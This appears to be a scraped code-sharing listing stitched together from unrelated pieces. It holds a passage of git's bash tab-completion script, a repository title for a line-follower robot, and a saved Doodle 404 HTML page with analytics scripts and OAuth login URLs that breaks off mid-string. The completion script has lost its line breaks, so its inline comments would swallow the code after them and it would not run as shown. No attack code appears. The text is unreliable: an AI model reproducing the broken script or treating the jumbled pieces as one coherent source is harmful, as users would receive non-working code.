cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --no-commit" ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_clean () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run --quiet" return ;; esac COMPREPLY=() } _git_clone () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --local --no-hardlinks --shared --reference --quiet --no-checkout --bare --mirror --origin --upload-pack --template= --depth " return ;; esac COMPREPLY=() } _git_commit () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --cleanup=*) __gitcomp "default strip verbatim whitespace " "" "${cur##--cleanup=}" return ;; --reuse-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reuse-message=}" return ;; --reedit-message=*) __gitcomp "$(__git_refs)" "" "${cur##--reedit-message=}" return ;; --untracked-files=*) __gitcomp "all no normal" "" "${cur##--untracked-files=}" return ;; --*) __gitcomp " --all --author= --signoff --verify --no-verify --edit --amend --include --only --interactive --dry-run --reuse-message= --reedit-message= --reset-author --file= --message= --template= --cleanup= --untracked-files --untracked-files= --verbose --quiet " return esac COMPREPLY=() } _git_describe () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --tags --contains --abbrev= --candidates= --exact-match --debug --long --match --always " return esac __gitcomp "$(__git_refs)" } __git_diff_common_options="--stat --numstat --shortstat --summary --patch-with-stat --name-only --name-status --color --no-color --color-words --no-renames --check --full-index --binary --abbrev --diff-filter= --find-copies-harder --text --ignore-space-at-eol --ignore-space-change --ignore-all-space --exit-code --quiet --ext-diff --no-ext-diff --no-prefix --src-prefix= --dst-prefix= --inter-hunk-context= --patience --raw --dirstat --dirstat= --dirstat-by-file --dirstat-by-file= --cumulative " _git_diff () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs $__git_diff_common_options " return ;; esac __git_complete_file } __git_mergetools_common="diffuse ecmerge emerge kdiff3 meld opendiff tkdiff vimdiff gvimdiff xxdiff araxis p4merge " _git_difftool () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common kompare" "" "${cur##--tool=}" return ;; --*) __gitcomp "--cached --staged --pickaxe-all --pickaxe-regex --base --ours --theirs --no-renames --diff-filter= --find-copies-harder --relative --ignore-submodules --tool=" return ;; esac __git_complete_file } __git_fetch_options=" --quiet --verbose --append --upload-pack --force --keep --depth= --tags --no-tags --all --prune --dry-run " _git_fetch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_fetch_options" return ;; esac __git_complete_remote_or_refspec } _git_format_patch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --thread=*) __gitcomp " deep shallow " "" "${cur##--thread=}" return ;; --*) __gitcomp " --stdout --attach --no-attach --thread --thread= --output-directory --numbered --start-number --numbered-files --keep-subject --signoff --signature --no-signature --in-reply-to= --cc= --full-index --binary --not --all --cover-letter --no-prefix --src-prefix= --dst-prefix= --inline --suffix= --ignore-if-in-upstream --subject-prefix= " return ;; esac __git_complete_revlist } _git_fsck () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --tags --root --unreachable --cache --no-reflogs --full --strict --verbose --lost-found " return ;; esac COMPREPLY=() } _git_gc () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--prune --aggressive" return ;; esac COMPREPLY=() } _git_gitk () { _gitk } _git_grep () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --cached --text --ignore-case --word-regexp --invert-match --full-name --extended-regexp --basic-regexp --fixed-strings --files-with-matches --name-only --files-without-match --max-depth --count --and --or --not --all-match " return ;; esac __gitcomp "$(__git_refs)" } _git_help () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--all --info --man --web" return ;; esac __git_compute_all_commands __gitcomp "$__git_all_commands attributes cli core-tutorial cvs-migration diffcore gitk glossary hooks ignore modules repository-layout tutorial tutorial-2 workflows " } _git_init () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --shared=*) __gitcomp " false true umask group all world everybody " "" "${cur##--shared=}" return ;; --*) __gitcomp "--quiet --bare --template= --shared --shared=" return ;; esac COMPREPLY=() } _git_ls_files () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --deleted --modified --others --ignored --stage --directory --no-empty-directory --unmerged --killed --exclude= --exclude-from= --exclude-per-directory= --exclude-standard --error-unmatch --with-tree= --full-name --abbrev --ignored --exclude-per-directory " return ;; esac COMPREPLY=() } _git_ls_remote () { __gitcomp "$(__git_remotes)" } _git_ls_tree () { __git_complete_file } # Options that go well for log, shortlog and gitk __git_log_common_options=" --not --all --branches --tags --remotes --first-parent --merges --no-merges --max-count= --max-age= --since= --after= --min-age= --until= --before= " # Options that go well for log and gitk (not shortlog) __git_log_gitk_options=" --dense --sparse --full-history --simplify-merges --simplify-by-decoration --left-right " # Options that go well for log and shortlog (not gitk) __git_log_shortlog_options=" --author= --committer= --grep= --all-match " __git_log_pretty_formats="oneline short medium full fuller email raw format:" __git_log_date_formats="relative iso8601 rfc2822 short local default raw" _git_log () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(git rev-parse --git-dir 2>/dev/null)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --date=*) __gitcomp "$__git_log_date_formats" "" "${cur##--date=}" return ;; --decorate=*) __gitcomp "long short" "" "${cur##--decorate=}" return ;; --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options $__git_log_gitk_options --root --topo-order --date-order --reverse --follow --full-diff --abbrev-commit --abbrev= --relative-date --date= --pretty= --format= --oneline --cherry-pick --graph --decorate --decorate= --walk-reflogs --parents --children $merge $__git_diff_common_options --pickaxe-all --pickaxe-regex " return ;; esac __git_complete_revlist } __git_merge_options=" --no-commit --no-stat --log --no-log --squash --strategy --commit --stat --no-squash --ff --no-ff --ff-only " _git_merge () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "$__git_merge_options" return esac __gitcomp "$(__git_refs)" } _git_mergetool () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --tool=*) __gitcomp "$__git_mergetools_common tortoisemerge" "" "${cur##--tool=}" return ;; --*) __gitcomp "--tool=" return ;; esac COMPREPLY=() } _git_merge_base () { __gitcomp "$(__git_refs)" } _git_mv () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run" return ;; esac COMPREPLY=() } _git_name_rev () { __gitcomp "--tags --all --stdin" } _git_notes () { local subcommands="edit show" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then __gitcomp "$subcommands" return fi case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_pull () { __git_complete_strategy && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --rebase --no-rebase $__git_merge_options $__git_fetch_options " return ;; esac __git_complete_remote_or_refspec } _git_push () { local cur="${COMP_WORDS[COMP_CWORD]}" case "${COMP_WORDS[COMP_CWORD-1]}" in --repo) __gitcomp "$(__git_remotes)" return esac case "$cur" in --repo=*) __gitcomp "$(__git_remotes)" "" "${cur##--repo=}" return ;; --*) __gitcomp " --all --mirror --tags --dry-run --force --verbose --receive-pack= --repo= " return ;; esac __git_complete_remote_or_refspec } _git_rebase () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ] || [ -d "$dir"/rebase-merge ]; then __gitcomp "--continue --skip --abort" return fi __git_complete_strategy && return case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --onto --merge --strategy --interactive --preserve-merges --stat --no-stat --committer-date-is-author-date --ignore-date --ignore-whitespace --whitespace= --autosquash " return esac __gitcomp "$(__git_refs)" } __git_send_email_confirm_options="always never auto cc compose" __git_send_email_suppresscc_options="author self cc bodycc sob cccmd body all" _git_send_email () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --confirm=*) __gitcomp " $__git_send_email_confirm_options " "" "${cur##--confirm=}" return ;; --suppress-cc=*) __gitcomp " $__git_send_email_suppresscc_options " "" "${cur##--suppress-cc=}" return ;; --smtp-encryption=*) __gitcomp "ssl tls" "" "${cur##--smtp-encryption=}" return ;; --*) __gitcomp "--annotate --bcc --cc --cc-cmd --chain-reply-to --compose --confirm= --dry-run --envelope-sender --from --identity --in-reply-to --no-chain-reply-to --no-signed-off-by-cc --no-suppress-from --no-thread --quiet --signed-off-by-cc --smtp-pass --smtp-server --smtp-server-port --smtp-encryption= --smtp-user --subject --suppress-cc= --suppress-from --thread --to --validate --no-validate" return ;; esac COMPREPLY=() } _git_stage () { _git_add } __git_config_get_set_variables () { local prevword word config_file= c=$COMP_CWORD while [ $c -gt 1 ]; do word="${COMP_WORDS[c]}" case "$word" in --global|--system|--file=*) config_file="$word" break ;; -f|--file) config_file="$word $prevword" break ;; esac prevword=$word c=$((--c)) done git --git-dir="$(__gitdir)" config $config_file --list 2>/dev/null | while read line do case "$line" in *.*=*) echo "${line/=*/}" ;; esac done } _git_config () { local cur="${COMP_WORDS[COMP_CWORD]}" local prv="${COMP_WORDS[COMP_CWORD-1]}" case "$prv" in branch.*.remote) __gitcomp "$(__git_remotes)" return ;; branch.*.merge) __gitcomp "$(__git_refs)" return ;; remote.*.fetch) local remote="${prv#remote.}" remote="${remote%.fetch}" __gitcomp "$(__git_refs_remotes "$remote")" return ;; remote.*.push) local remote="${prv#remote.}" remote="${remote%.push}" __gitcomp "$(git --git-dir="$(__gitdir)" \ for-each-ref --format='%(refname):%(refname)' \ refs/heads)" return ;; pull.twohead|pull.octopus) __git_compute_merge_strategies __gitcomp "$__git_merge_strategies" return ;; color.branch|color.diff|color.interactive|\ color.showbranch|color.status|color.ui) __gitcomp "always never auto" return ;; color.pager) __gitcomp "false true" return ;; color.*.*) __gitcomp " normal black red green yellow blue magenta cyan white bold dim ul blink reverse " return ;; help.format) __gitcomp "man info web html" return ;; log.date) __gitcomp "$__git_log_date_formats" return ;; sendemail.aliasesfiletype) __gitcomp "mutt mailrc pine elm gnus" return ;; sendemail.confirm) __gitcomp "$__git_send_email_confirm_options" return ;; sendemail.suppresscc) __gitcomp "$__git_send_email_suppresscc_options" return ;; --get|--get-all|--unset|--unset-all) __gitcomp "$(__git_config_get_set_variables)" return ;; *.*) COMPREPLY=() return ;; esac case "$cur" in --*) __gitcomp " --global --system --file= --list --replace-all --get --get-all --get-regexp --add --unset --unset-all --remove-section --rename-section " return ;; branch.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "remote merge mergeoptions rebase" "$pfx" "$cur" return ;; branch.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_heads)" "$pfx" "$cur" "." return ;; guitool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " argprompt cmd confirm needsfile noconsole norescan prompt revprompt revunmerged title " "$pfx" "$cur" return ;; difftool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; man.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; mergetool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path trustExitCode" "$pfx" "$cur" return ;; pager.*) local pfx="${cur%.*}." cur="${cur#*.}" __git_compute_all_commands __gitcomp "$__git_all_commands" "$pfx" "$cur" return ;; remote.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " url proxy fetch push mirror skipDefaultUpdate receivepack uploadpack tagopt pushurl " "$pfx" "$cur" return ;; remote.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_remotes)" "$pfx" "$cur" "." return ;; url.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "insteadOf pushInsteadOf" "$pfx" "$cur" return ;; esac __gitcomp " add.ignore-errors alias. apply.ignorewhitespace apply.whitespace branch.autosetupmerge branch.autosetuprebase clean.requireForce color.branch color.branch.current color.branch.local color.branch.plain color.branch.remote color.diff color.diff.commit color.diff.frag color.diff.meta color.diff.new color.diff.old color.diff.plain color.diff.whitespace color.grep color.grep.external color.grep.match color.interactive color.interactive.header color.interactive.help color.interactive.prompt color.pager color.showbranch color.status color.status.added color.status.changed color.status.header color.status.nobranch color.status.untracked color.status.updated color.ui commit.template core.autocrlf core.bare core.compression core.createObject core.deltaBaseCacheLimit core.editor core.excludesfile core.fileMode core.fsyncobjectfiles core.gitProxy core.ignoreCygwinFSTricks core.ignoreStat core.logAllRefUpdates core.loosecompression core.packedGitLimit core.packedGitWindowSize core.pager core.preferSymlinkRefs core.preloadindex core.quotepath core.repositoryFormatVersion core.safecrlf core.sharedRepository core.symlinks core.trustctime core.warnAmbiguousRefs core.whitespace core.worktree diff.autorefreshindex diff.external diff.mnemonicprefix diff.renameLimit diff.renameLimit. diff.renames diff.suppressBlankEmpty diff.tool diff.wordRegex difftool. difftool.prompt fetch.unpackLimit format.attach format.cc format.headers format.numbered format.pretty format.signature format.signoff format.subjectprefix format.suffix format.thread gc.aggressiveWindow gc.auto gc.autopacklimit gc.packrefs gc.pruneexpire gc.reflogexpire gc.reflogexpireunreachable gc.rerereresolved gc.rerereunresolved gitcvs.allbinary gitcvs.commitmsgannotation gitcvs.dbTableNamePrefix gitcvs.dbdriver gitcvs.dbname gitcvs.dbpass gitcvs.dbuser gitcvs.enabled gitcvs.logfile gitcvs.usecrlfattr guitool. gui.blamehistoryctx gui.commitmsgwidth gui.copyblamethreshold gui.diffcontext gui.encoding gui.fastcopyblame gui.matchtrackingbranch gui.newbranchtemplate gui.pruneduringfetch gui.spellingdictionary gui.trustmtime help.autocorrect help.browser help.format http.lowSpeedLimit http.lowSpeedTime http.maxRequests http.noEPSV http.proxy http.sslCAInfo http.sslCAPath http.sslCert http.sslKey http.sslVerify i18n.commitEncoding i18n.logOutputEncoding imap.folder imap.host imap.pass imap.port imap.preformattedHTML imap.sslverify imap.tunnel imap.user instaweb.browser instaweb.httpd instaweb.local instaweb.modulepath instaweb.port interactive.singlekey log.date log.showroot mailmap.file man. man.viewer merge.conflictstyle merge.log merge.renameLimit merge.stat merge.tool merge.verbosity mergetool. mergetool.keepBackup mergetool.prompt pack.compression pack.deltaCacheLimit pack.deltaCacheSize pack.depth pack.indexVersion pack.packSizeLimit pack.threads pack.window pack.windowMemory pager. pull.octopus pull.twohead push.default rebase.stat receive.denyCurrentBranch receive.denyDeletes receive.denyNonFastForwards receive.fsckObjects receive.unpackLimit repack.usedeltabaseoffset rerere.autoupdate rerere.enabled sendemail.aliasesfile sendemail.aliasesfiletype sendemail.bcc sendemail.cc sendemail.cccmd sendemail.chainreplyto sendemail.confirm sendemail.envelopesender sendemail.multiedit sendemail.signedoffbycc sendemail.smtpencryption sendemail.smtppass sendemail.smtpserver sendemail.smtpserverport sendemail.smtpuser sendemail.suppresscc sendemail.suppressfrom sendemail.thread sendemail.to sendemail.validate showbranch.default status.relativePaths status.showUntrackedFiles tar.umask transfer.unpackLimit url. user.email user.name user.signingkey web.browser branch. remote. " } _git_remote () { local subcommands="add rename rm show prune update set-head" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in rename|rm|show|prune) __gitcomp "$(__git_remotes)" ;; update) local i c='' IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "remotes\..*" 2>/dev/null); do i="${i#remotes.}" c="$c ${i/ */}" done __gitcomp "$c" ;; *) COMPREPLY=() ;; esac } _git_replace () { __gitcomp "$(__git_refs)" } _git_reset () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--merge --mixed --hard --soft --patch" return ;; esac __gitcomp "$(__git_refs)" } _git_revert () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --mainline --no-edit --no-commit --signoff" return ;; esac __gitcomp "$(__git_refs)" } _git_rm () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --dry-run --ignore-unmatch --quiet" return ;; esac COMPREPLY=() } _git_shortlog () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options --numbered --summary " return ;; esac __git_complete_revlist } _git_show () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --*) __gitcomp "--pretty= --format= --abbrev-commit --oneline $__git_diff_common_options " return ;; esac __git_complete_file } _git_show_branch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --remotes --topo-order --current --more= --list --independent --merge-base --no-name --color --no-color --sha1-name --sparse --topics --reflog " return ;; esac __git_complete_revlist } _git_stash () { local cur="${COMP_WORDS[COMP_CWORD]}" local save_opts='--keep-index --no-keep-index --quiet --patch' local subcommands='save list show apply clear drop pop create branch' local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then case "$cur" in --*) __gitcomp "$save_opts" ;; *) if [ -z "$(__git_find_on_cmdline "$save_opts")" ]; then __gitcomp "$subcommands" else COMPREPLY=() fi ;; esac else case "$subcommand,$cur" in save,--*) __gitcomp "$save_opts" ;; apply,--*|pop,--*) __gitcomp "--index --quiet" ;; show,--*|drop,--*|branch,--*) COMPREPLY=() ;; show,*|apply,*|drop,*|pop,*|branch,*) __gitcomp "$(git --git-dir="$(__gitdir)" stash list \ | sed -n -e 's/:.*//p')" ;; *) COMPREPLY=() ;; esac fi } _git_submodule () { __git_has_doubledash && return local subcommands="add status init update summary foreach sync" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--quiet --cached" ;; *) __gitcomp "$subcommands" ;; esac return fi } _git_svn () { local subcommands=" init fetch clone rebase dcommit log find-rev set-tree commit-diff info create-ignore propget proplist show-ignore show-externals branch tag blame migrate mkdirs reset gc " local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" else local remote_opts="--username= --config-dir= --no-auth-cache" local fc_opts=" --follow-parent --authors-file= --repack= --no-metadata --use-svm-props --use-svnsync-props --log-window-size= --no-checkout --quiet --repack-flags --use-log-author --localtime --ignore-paths= $remote_opts " local init_opts=" --template= --shared= --trunk= --tags= --branches= --stdlayout --minimize-url --no-metadata --use-svm-props --use-svnsync-props --rewrite-root= --prefix= --use-log-author --add-author-from $remote_opts " local cmt_opts=" --edit --rmdir --find-copies-harder --copy-similarity= " local cur="${COMP_WORDS[COMP_CWORD]}" case "$subcommand,$cur" in fetch,--*) __gitcomp "--revision= --fetch-all $fc_opts" ;; clone,--*) __gitcomp "--revision= $fc_opts $init_opts" ;; init,--*) __gitcomp "$init_opts" ;; dcommit,--*) __gitcomp " --merge --strategy= --verbose --dry-run --fetch-all --no-rebase --commit-url --revision $cmt_opts $fc_opts " ;; set-tree,--*) __gitcomp "--stdin $cmt_opts $fc_opts" ;; create-ignore,--*|propget,--*|proplist,--*|show-ignore,--*|\ show-externals,--*|mkdirs,--*) __gitcomp "--revision=" ;; log,--*) __gitcomp " --limit= --revision= --verbose --incremental --oneline --show-commit --non-recursive --authors-file= --color " ;; rebase,--*) __gitcomp " --merge --verbose --strategy= --local --fetch-all --dry-run $fc_opts " ;; commit-diff,--*) __gitcomp "--message= --file= --revision= $cmt_opts" ;; info,--*) __gitcomp "--url" ;; branch,--*) __gitcomp "--dry-run --message --tag" ;; tag,--*) __gitcomp "--dry-run --message" ;; blame,--*) __gitcomp "--git-format" ;; migrate,--*) __gitcomp " --config-dir= --ignore-paths= --minimize --no-auth-cache --username= " ;; reset,--*) __gitcomp "--revision= --parent" ;; *) COMPREPLY=() ;; esac fi } _git_tag () { local i c=1 f=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-v) __gitcomp "$(__git_tags)" return ;; -f) f=1 ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; -*|tag) if [ $f = 1 ]; then __gitcomp "$(__git_tags)" else COMPREPLY=() fi ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_whatchanged () { _git_log } _git () { local i c=1 command __git_dir while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --git-dir=*) __git_dir="${i#--git-dir=}" ;; --bare) __git_dir="." ;; --version|-p|--paginate) ;; --help) command="help"; break ;; *) command="$i"; break ;; esac c=$((++c)) done if [ -z "$command" ]; then case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --paginate --no-pager --git-dir= --bare --version --exec-path --html-path --work-tree= --help " ;; *) __git_compute_porcelain_commands __gitcomp "$__git_porcelain_commands $(__git_aliases)" ;; esac return fi local completion_func="_git_${command//-/_}" declare -F $completion_func >/dev/null && $completion_func && return local expansion=$(__git_aliased_command "$command") if [ -n "$expansion" ]; then completion_func="_git_${expansion//-/_}" declare -F $completion_func >/dev/null && $completion_func fi } _gitk () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(__gitdir)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_gitk_options $merge " return ;; esac __git_complete_revlist } complete -o bashdefault -o default -o nospace -F _git git 2>/dev/null \ || complete -o default -o nospace -F _git git complete -o bashdefault -o default -o nospace -F _gitk gitk 2>/dev/null \ || complete -o default -o nospace -F _gitk gitk # The following are necessary only for Cygwin, and only are needed # when the user has tab-completed the executable name and consequently # included the '.exe' suffix. # if [ Cygwin = "$(uname -o 2>/dev/null)" ]; then complete -o bashdefault -o default -o nospace -F _git git.exe 2>/dev/null \ || complete -o default -o nospace -F _git git.exe fi
DrakerDG / Line Follower Robot V4Line Follower Robot Code With PID to control error position. Only P and D actived
sireqpetr / Aaaa<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en" xml:lang="en" class=" "> <head> <meta name="robots" content="index, follow" /> <meta name="Mediapartners-Google" content="index, follow" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="cache-control" content="max-age=0" /> <meta http-equiv="expires" content="-1" /> <meta http-equiv="pragma" content="no-cache" /> <meta name="description" content="Doodle radically simplifies the process of scheduling events, meetings, appointments, etc. Herding cats gets 2x faster with Doodle. For free!" /> <meta name="copyright" content="Doodle AG, Switzerland" /> <meta name="application-name" content="Doodle" /> <meta property="fb:admins" content="146060788741700" /> <title>Doodle: Not found </title> <meta property="og:image" content="http://doodle.com/graphics/static/facebookSharingThumbnail.png" /> <meta property="og:type" content="website" /> <meta property="og:url" content="http://doodle.com/" /> <meta property="og:title" content="Doodle: easy scheduling" /> <meta property="og:description" content="Doodle radically simplifies the process of scheduling events, meetings, appointments, etc. Herding cats gets 2x faster with Doodle. For free!" /> <link rel="stylesheet" type="text/css" href="/dist/normal/vendor-styles.47dc4b6d8088a5473d3d.css" /> <link rel="stylesheet" type="text/css" href="/dist/normal/error-errorTemplate.109031a5a727b3259a5c.css" /><style type="text/css" title="premium">body #page { margin-top: 15px}</style> <script src="/dist/normal/jquery.5b4d89fb41622e043ef4.js"></script> <link rel="shortcut icon" type="image/x-icon" href="/dist/normal/i/b44327677e7590e22fb6e598d6d53e2b.ico" /> <link rel="apple-touch-icon" href="/dist/normal/i/650dd6854eeca2499449e1a762978fc2.png" /> <link rel="apple-touch-icon" sizes="72x72" href="/dist/normal/i/15fa798c6b9309ec274f6cae3108f7e2.png" /> <link rel="apple-touch-icon" sizes="114x114" href="/dist/normal/i/82e622019f16c173d9eb6b9ab484fedd.png" /> <meta name="msapplication-TileImage" content="/dist/normal/i/d61d748643bc62b974e798209fc74147.png" /> <meta name="msapplication-TileColor" content="#ffffff" /> <link rel="canonical" href="https://doodle.com/error/notFound.html" /> </head> <body> <noscript> <iframe src="//www.googletagmanager.com/ns.html?id=GTM-CFKQ" height="0" width="0" style="display:none;visibility:hidden"></iframe> </noscript> <script type="text/javascript">//<![CDATA[ dataLayer = [{ 'country': 'BR', 'language': 'en', 'adsFree': 'true', 'certificationResource': 'else', 'isMainPage': '', 'creationDevice': '', 'isKISSEnabled': 'yes', 'KISSKey': 'ff0508294d77927c9b0d452b1ecfe4e761b16a91' }]; /*]]> */</script><script type="application/json" id="doodleDataLayerCustomDefinitions">{"environment":{"systemType":"production","systemVersion":"classic"},"page":{"pageType":"other","userLoginState":false,"userType":"free user"},"poll":{},"user":{"userCountry":"BR","userPlanType":"free"}}</script><script type="application/json" id="doodleDataLayerEvents">[]</script><script type="application/json" id="doodleDataLayerCookieDeletions">[]</script><script type="text/javascript">!function(e){function t(o){if(n[o])return n[o].exports;var i=n[o]={exports:{},id:o,loaded:!1};return e[o].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};t.m=e,t.c=n,t.p="/dist/normal/",t(0)}({0:function(e,t,n){n(1255),e.exports=n(1257)},1255:function(e,t,n){"use strict";n(1256)()},1256:function(e,t){"use strict";e.exports=function(){window.dataLayer=window.dataLayer||[];var e=window.dataLayer;try{var t={customDefinitions:null!==document.getElementById("doodleDataLayerCustomDefinitions")?JSON.parse(document.getElementById("doodleDataLayerCustomDefinitions").innerHTML):{},events:null!==document.getElementById("doodleDataLayerEvents")?JSON.parse(document.getElementById("doodleDataLayerEvents").innerHTML):[],cookieDeletions:null!==document.getElementById("doodleDataLayerCookieDeletions")?JSON.parse(document.getElementById("doodleDataLayerCookieDeletions").innerHTML):[]};Object.keys(t.customDefinitions).length>0&&e.push(t.customDefinitions),e.push({page:{viewportWidth:Math.max(document.documentElement.clientWidth,window.innerWidth||0),viewportHeight:Math.max(document.documentElement.clientHeight,window.innerHeight||0)}}),t.events.forEach(function(t){e.push(t)}),t.cookieDeletions.forEach(function(e){document.cookie=e})}catch(e){(window._errs||[]).push(e)}}},1257:function(e,t){"use strict";!function(e,t,n,o){var i,a;e[n]=e[n]||[],e[n].push({"gtm.start":(new Date).getTime(),event:"gtm.js"}),i=t.createElement("script"),i.async=!0,i.type="text/javascript",i.src="//www.googletagmanager.com/gtm.js?id="+o+("dataLayer"!==n?"&l="+n:""),a=t.getElementsByTagName("script")[0],a.parentNode.insertBefore(i,a)}(window,document,"dataLayer","GTM-CFKQ")}}); //# sourceMappingURL=tagmanager-bundle.6aa69cf9e6d011acc789.js.map</script> <script type="text/javascript"> //<![CDATA[ doodleJS = { guest: { viewLocale: "en_US", country: "BR", // can be UNKNOWN_COUNTRY_CODE ("ZZ") region: "BR:null", user: {"features":{"useCustomURL":false,"useCustomLogo":false,"quickReply":false,"extraInformation":false,"customTheme":false,"hideAds":false,"useSSL":false},"facebookAuthUrl":"https://graph.facebook.com/v2.8/oauth/authorize?scope=email&client_id=151397988232158&state=%7B%22is_mobile%22%3A%22false%22%2C%22redirect_uri%22%3A%22%22%2C%22locale%22%3A%22en%22%2C%22oauth_anti_csrf_token_cookie%22%3A%22oauth_anti_csrf_token_placeholder%22%7D&redirect_uri=https%3A%2F%2Fdoodle.com%2Fnp%2Fmydoodle%2Fthirdparty%2FfacebookConnect&display=touch","isBusiness":false,"loggedIn":false,"googleAuthUrl":"https://accounts.google.com/o/oauth2/auth?client_id=282023944456.apps.googleusercontent.com&redirect_uri=https://doodle.com/np/mydoodle/thirdparty/googleConnect&response_type=code&scope=https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/userinfo.profile&state=%7B%22is_mobile%22:%22false%22,%22callbackUrl%22:%22https://doodle.com/np/mydoodle/thirdparty/googleConnect%22,%22redirect_uri%22:%22%22,%22locale%22:%22en%22,%22oauth_anti_csrf_token_cookie%22:%22oauth_anti_csrf_token_placeholder%22%7D","googleAuthUrlLoginAndContacts":"https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force&client_id=282023944456.apps.googleusercontent.com&redirect_uri=https://doodle.com/np/mydoodle/thirdparty/googleConnect&response_type=code&scope=https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/userinfo.profile%20https://www.google.com/m8/feeds/&state=%7B%22doodleScope%22:%22CONTACTS%22,%22is_mobile%22:%22false%22,%22callbackUrl%22:%22https://doodle.com/np/mydoodle/thirdparty/googleConnect%22,%22redirect_uri%22:%22%22,%22locale%22:%22en%22,%22oauth_anti_csrf_token_cookie%22:%22oauth_anti_csrf_token_placeholder%22%7D","isPremium":false,"isTrial":false,"outlookComAuthUrlContacts":"https://login.microsoftonline.com/